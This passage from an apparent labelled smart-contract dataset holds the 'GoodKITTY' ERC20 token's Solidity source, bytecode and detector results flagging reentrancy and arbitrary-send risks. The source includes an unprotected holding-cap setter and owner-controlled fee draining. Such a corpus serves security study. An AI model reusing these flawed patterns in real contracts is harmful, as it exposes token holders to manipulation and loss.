3309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122097862908f9c44bd415409394166131df5cc867139d91795b40d6e281e2eddd9664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,102 |
0xadF92F3d0661F881Eb5E34510A2680277e69D21B
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GoodKITTY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e14 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"GoodKITTY";
string private constant _symbol = unicode"GoodKITTY";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 12;
uint256 private _feeRate = 13;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
uint private holdingCapPercent = 3;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
if (to != uniswapV2Pair && to != address(this))
require(balanceOf(to) + amount <= _getMaxHolding(), "Max holding cap breached.");
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_teamFee = 12;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
_teamFee = 12;
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 500000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (180 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function _getMaxHolding() internal view returns (uint256) {
return (totalSupply() * holdingCapPercent) / 100;
}
function _setMaxHolding(uint8 percent) external {
require(percent > 0, "Max holding cap cannot be less than 1");
holdingCapPercent = percent;
}
}
|
0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9fc35a91161006f578063a9fc35a91461036c578063c3c8cd801461038c578063c9567bf9146103a1578063db92dbb6146103b6578063dd62ed3e146103cb578063e8078d941461041157600080fd5b806370a08231146102d0578063715018a6146102f05780638da5cb5b1461030557806395d89b4114610150578063a9059cbb1461032d578063a985ceef1461034d57600080fd5b8063313ce56711610108578063313ce5671461021d57806345596e2e14610239578063522644df1461025b5780635932ead11461027b57806368a3a6a51461029b5780636fc3eaec146102bb57600080fd5b806306fdde0314610150578063095ea7b31461019157806318160ddd146101c157806323b872dd146101e857806327f3a72a1461020857600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b506040805180820182526009815268476f6f644b4954545960b81b602082015290516101889190611b9e565b60405180910390f35b34801561019d57600080fd5b506101b16101ac366004611ad5565b610426565b6040519015158152602001610188565b3480156101cd57600080fd5b5069152d02c7e14af68000005b604051908152602001610188565b3480156101f457600080fd5b506101b1610203366004611a95565b61043d565b34801561021457600080fd5b506101da6104a6565b34801561022957600080fd5b5060405160098152602001610188565b34801561024557600080fd5b50610259610254366004611b38565b6104b6565b005b34801561026757600080fd5b50610259610276366004611b7d565b61055f565b34801561028757600080fd5b50610259610296366004611b00565b6105c8565b3480156102a757600080fd5b506101da6102b6366004611a25565b610647565b3480156102c757600080fd5b5061025961066a565b3480156102dc57600080fd5b506101da6102eb366004611a25565b610697565b3480156102fc57600080fd5b506102596106b9565b34801561031157600080fd5b506000546040516001600160a01b039091168152602001610188565b34801561033957600080fd5b506101b1610348366004611ad5565b61072d565b34801561035957600080fd5b50601354600160a81b900460ff166101b1565b34801561037857600080fd5b506101da610387366004611a25565b61073a565b34801561039857600080fd5b50610259610760565b3480156103ad57600080fd5b50610259610796565b3480156103c257600080fd5b506101da6107e3565b3480156103d757600080fd5b506101da6103e6366004611a5d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041d57600080fd5b506102596107fb565b6000610433338484610bb0565b5060015b92915050565b600061044a848484610cd4565b61049c843361049785604051806060016040528060288152602001611d3e602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112a8565b610bb0565b5060019392505050565b60006104b130610697565b905090565b6011546001600160a01b0316336001600160a01b0316146104d657600080fd5b603381106105235760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b60008160ff16116105c05760405162461bcd60e51b815260206004820152602560248201527f4d617820686f6c64696e67206361702063616e6e6f74206265206c657373207460448201526468616e203160d81b606482015260840161051a565b60ff16601555565b6000546001600160a01b031633146105f25760405162461bcd60e51b815260040161051a90611bf1565b6013805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610554565b6001600160a01b0381166000908152600660205260408120546104379042611ced565b6011546001600160a01b0316336001600160a01b03161461068a57600080fd5b47610694816112e2565b50565b6001600160a01b0381166000908152600260205260408120546104379061131c565b6000546001600160a01b031633146106e35760405162461bcd60e51b815260040161051a90611bf1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610433338484610cd4565b6001600160a01b0381166000908152600660205260408120600101546104379042611ced565b6011546001600160a01b0316336001600160a01b03161461078057600080fd5b600061078b30610697565b9050610694816113a0565b6000546001600160a01b031633146107c05760405162461bcd60e51b815260040161051a90611bf1565b6013805460ff60a01b1916600160a01b1790556107de4260b4611c96565b601455565b6013546000906104b1906001600160a01b0316610697565b6000546001600160a01b031633146108255760405162461bcd60e51b815260040161051a90611bf1565b601354600160a01b900460ff161561087f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161051a565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108bd308269152d02c7e14af6800000610bb0565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f657600080fd5b505afa15801561090a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092e9190611a41565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097657600080fd5b505afa15801561098a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ae9190611a41565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109f657600080fd5b505af1158015610a0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2e9190611a41565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610a5e81610697565b600080610a736000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610ad657600080fd5b505af1158015610aea573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b0f9190611b50565b5050681b1ae4d6e2ef5000006010555042600d5560135460125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b7457600080fd5b505af1158015610b88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bac9190611b1c565b5050565b6001600160a01b038316610c125760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161051a565b6001600160a01b038216610c735760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161051a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d385760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051a565b6001600160a01b038216610d9a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051a565b60008111610dfc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161051a565b6000546001600160a01b03848116911614801590610e2857506000546001600160a01b03838116911614155b1561124b57601354600160a81b900460ff1615610ea8573360009081526006602052604090206002015460ff16610ea857604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6013546001600160a01b03838116911614801590610ecf57506001600160a01b0382163014155b15610f3e57610edc611545565b81610ee684610697565b610ef09190611c96565b1115610f3e5760405162461bcd60e51b815260206004820152601960248201527f4d617820686f6c64696e67206361702062726561636865642e00000000000000604482015260640161051a565b6013546001600160a01b038481169116148015610f6957506012546001600160a01b03838116911614155b8015610f8e57506001600160a01b03821660009081526005602052604090205460ff16155b156110ed57601354600160a01b900460ff16610fec5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161051a565b600c600a55601354600160a81b900460ff16156110b3574260145411156110b35760105481111561101c57600080fd5b6001600160a01b038216600090815260066020526040902054421161108e5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161051a565b61109942602d611c96565b6001600160a01b0383166000908152600660205260409020555b601354600160a81b900460ff16156110ed576110d042600f611c96565b6001600160a01b0383166000908152600660205260409020600101555b60006110f830610697565b601354909150600160b01b900460ff1615801561112357506013546001600160a01b03858116911614155b80156111385750601354600160a01b900460ff165b1561124957600c600a55601354600160a81b900460ff16156111ca576001600160a01b03841660009081526006602052604090206001015442116111ca5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161051a565b801561123757600b54601354611200916064916111fa91906111f4906001600160a01b0316610697565b90611571565b906115f0565b81111561122e57600b5460135461122b916064916111fa91906111f4906001600160a01b0316610697565b90505b611237816113a0565b47801561124757611247476112e2565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061128d57506001600160a01b03831660009081526005602052604090205460ff165b15611296575060005b6112a284848484611632565b50505050565b600081848411156112cc5760405162461bcd60e51b815260040161051a9190611b9e565b5060006112d98486611ced565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610bac573d6000803e3d6000fd5b60006007548211156113835760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161051a565b600061138d611660565b905061139983826115f0565b9392505050565b6013805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113f657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144a57600080fd5b505afa15801561145e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114829190611a41565b816001815181106114a357634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546114c99130911684610bb0565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611502908590600090869030904290600401611c26565b600060405180830381600087803b15801561151c57600080fd5b505af1158015611530573d6000803e3d6000fd5b50506013805460ff60b01b1916905550505050565b6000606460155461155d69152d02c7e14af680000090565b6115679190611cce565b6104b19190611cae565b60008261158057506000610437565b600061158c8385611cce565b9050826115998583611cae565b146113995760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161051a565b600061139983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611683565b8061163f5761163f6116b1565b61164a8484846116df565b806112a2576112a2600e54600955600f54600a55565b600080600061166d6117d6565b909250905061167c82826115f0565b9250505090565b600081836116a45760405162461bcd60e51b815260040161051a9190611b9e565b5060006112d98486611cae565b6009541580156116c15750600a54155b156116c857565b60098054600e55600a8054600f5560009182905555565b6000806000806000806116f18761181a565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117239087611877565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461175290866118b9565b6001600160a01b03891660009081526002602052604090205561177481611918565b61177e8483611962565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117c391815260200190565b60405180910390a3505050505050505050565b600754600090819069152d02c7e14af68000006117f382826115f0565b8210156118115750506007549269152d02c7e14af680000092509050565b90939092509050565b60008060008060008060008060006118378a600954600a54611986565b9250925092506000611847611660565b9050600080600061185a8e8787876119d5565b919e509c509a509598509396509194505050505091939550919395565b600061139983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112a8565b6000806118c68385611c96565b9050838110156113995760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161051a565b6000611922611660565b905060006119308383611571565b3060009081526002602052604090205490915061194d90826118b9565b30600090815260026020526040902055505050565b60075461196f9083611877565b60075560085461197f90826118b9565b6008555050565b600080808061199a60646111fa8989611571565b905060006119ad60646111fa8a89611571565b905060006119c5826119bf8b86611877565b90611877565b9992985090965090945050505050565b60008080806119e48886611571565b905060006119f28887611571565b90506000611a008888611571565b90506000611a12826119bf8686611877565b939b939a50919850919650505050505050565b600060208284031215611a36578081fd5b813561139981611d1a565b600060208284031215611a52578081fd5b815161139981611d1a565b60008060408385031215611a6f578081fd5b8235611a7a81611d1a565b91506020830135611a8a81611d1a565b809150509250929050565b600080600060608486031215611aa9578081fd5b8335611ab481611d1a565b92506020840135611ac481611d1a565b929592945050506040919091013590565b60008060408385031215611ae7578182fd5b8235611af281611d1a565b946020939093013593505050565b600060208284031215611b11578081fd5b813561139981611d2f565b600060208284031215611b2d578081fd5b815161139981611d2f565b600060208284031215611b49578081fd5b5035919050565b600080600060608486031215611b64578283fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b8e578081fd5b813560ff81168114611399578182fd5b6000602080835283518082850152825b81811015611bca57858101830151858201604001528201611bae565b81811115611bdb5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c755784516001600160a01b031683529383019391830191600101611c50565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ca957611ca9611d04565b500190565b600082611cc957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ce857611ce8611d04565b500290565b600082821015611cff57611cff611d04565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461069457600080fd5b801515811461069457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122088669f72c4a3d2643b211a362f6475d8f3bf268037dfeab38d947fee9cbb2be064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,103 |
0xb74755f2896e088790f81205f7f3746e2a4b358b
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
